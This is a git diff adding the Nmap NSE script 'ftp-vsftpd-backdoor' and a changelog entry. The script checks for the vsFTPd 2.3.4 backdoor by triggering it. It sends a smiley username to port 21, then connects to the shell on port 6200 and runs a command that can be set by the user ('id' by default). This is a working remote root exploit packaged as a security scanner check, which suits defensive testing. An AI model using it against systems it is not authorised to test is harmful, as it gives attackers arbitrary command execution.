diff --git a/CHANGELOG b/CHANGELOG
index b08cb0e44..456bea487 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,5 +1,8 @@
# Nmap Changelog ($Id$); -*-text-*-
+o [NSE] Added ftp-vsftpd-backdoor, which detects a backdoor that was introduced
+ into vsftpd-2.3.4 source code distributions. [Daniel Miller]
+
Nmap 5.59BETA1 [2011-06-30]
o [NSE] Added 40 scripts, bringing the total to 217! You can learn
diff --git a/scripts/ftp-vsftpd-backdoor.nse b/scripts/ftp-vsftpd-backdoor.nse
new file mode 100644
index 000000000..f07431d9c
--- /dev/null
+++ b/scripts/ftp-vsftpd-backdoor.nse
@@ -0,0 +1,128 @@
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04. This
+script attempts to exploit the backdoor using the innocuous id
+command by default, but that can be changed with the
+ftp-vsftpd-backdoor.cmd script argument.
+
+References:
+ * http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
+ * https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13093
+]]
+
+---
+-- @usage
+-- nmap --script ftp-vsftpd-backdoor -p 21
+--
+-- @args ftp-vsftpd-backdoor.cmd Command to execute in shell (default is
+-- id).
+--
+-- @output
+-- PORT STATE SERVICE
+-- 21/tcp open ftp
+-- | ftp-vsftpd-backdoor:
+-- | This installation has been backdoored.
+-- | Command: id
+-- | Results: uid=0(root) gid=0(wheel) groups=0(wheel)
+-- |_
+
+author = "Daniel Miller"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+require("ftp")
+require("shortport")
+require("stdnse")
+
+local CMD_FTP = "USER X:)\r\nPASS X\r\n"
+local CMD_SHELL = "id"
+
+portrule = function (host, port)
+ -- Check if version detection knows what FTP server this is.
+ if port.version.product ~= nil and port.version.product ~= "vsftpd" then
+ return false
+ end
+
+ -- Check if version detection knows what version of FTP server this is.
+ if port.version.version ~= nil and port.version.version ~= "2.3.4" then
+ return false
+ end
+
+ return shortport.port_or_service(21, "ftp")(host, port)
+end
+
+action = function(host, port)
+ local cmd, err, resp, results, sock, status
+
+ -- Get script arguments.
+ cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd")
+ if not cmd then
+ cmd = CMD_SHELL
+ end
+
+ -- Create socket.
+ sock = nmap.new_socket("tcp")
+ sock:set_timeout(5000)
+ status, err = sock:connect(host, port, "tcp")
+ if not status then
+ stdnse.print_debug(1, "Can't connect: %s", err)
+ sock:close()
+ return
+ end
+
+ -- Read banner.
+ buffer = stdnse.make_buffer(sock, "\r?\n")
+ local code, message = ftp.read_reply(buffer)
+ if not code then
+ stdnse.print_debug(1, "Can't read banner: %s", message)
+ sock:close()
+ return
+ end
+
+ -- Send command to escalate privilege.
+ status, err = sock:send(CMD_FTP .. "\r\n")
+ if not status then
+ stdnse.print_debug(1, "Failed to send privilege escalation command: %s", err)
+ sock:close()
+ return
+ end
+
+ -- Check if escalation worked.
+ stdnse.sleep(1)
+ sock:close()
+ sock = nmap.new_socket("tcp")
+ sock:set_timeout(5000)
+ status, err = sock:connect(host, 6200, "tcp")
+ if not status then
+ stdnse.print_debug(1, "Can't connect, not vulnerable: %s", err)
+ sock:close()
+ return
+ end
+
+ -- Send command(s) to shell.
+ status, err = sock:send(cmd .. ";\r\n")
+ if not status then
+ stdnse.print_debug(1, "Failed to send shell command(s): %s", err)
+ sock:close()
+ return
+ end
+
+ -- Check for an error from command.
+ status, resp = sock:receive()
+ if not status then
+ stdnse.print_debug(1, "Can't read command response: %s", resp)
+ sock:close()
+ return
+ end
+
+ -- Summarize the results.
+ results = {
+ "This installation has been backdoored.",
+ "Command: " .. CMD_SHELL,
+ "Results: " .. resp
+ }
+
+ return stdnse.format_output(true, results)
+end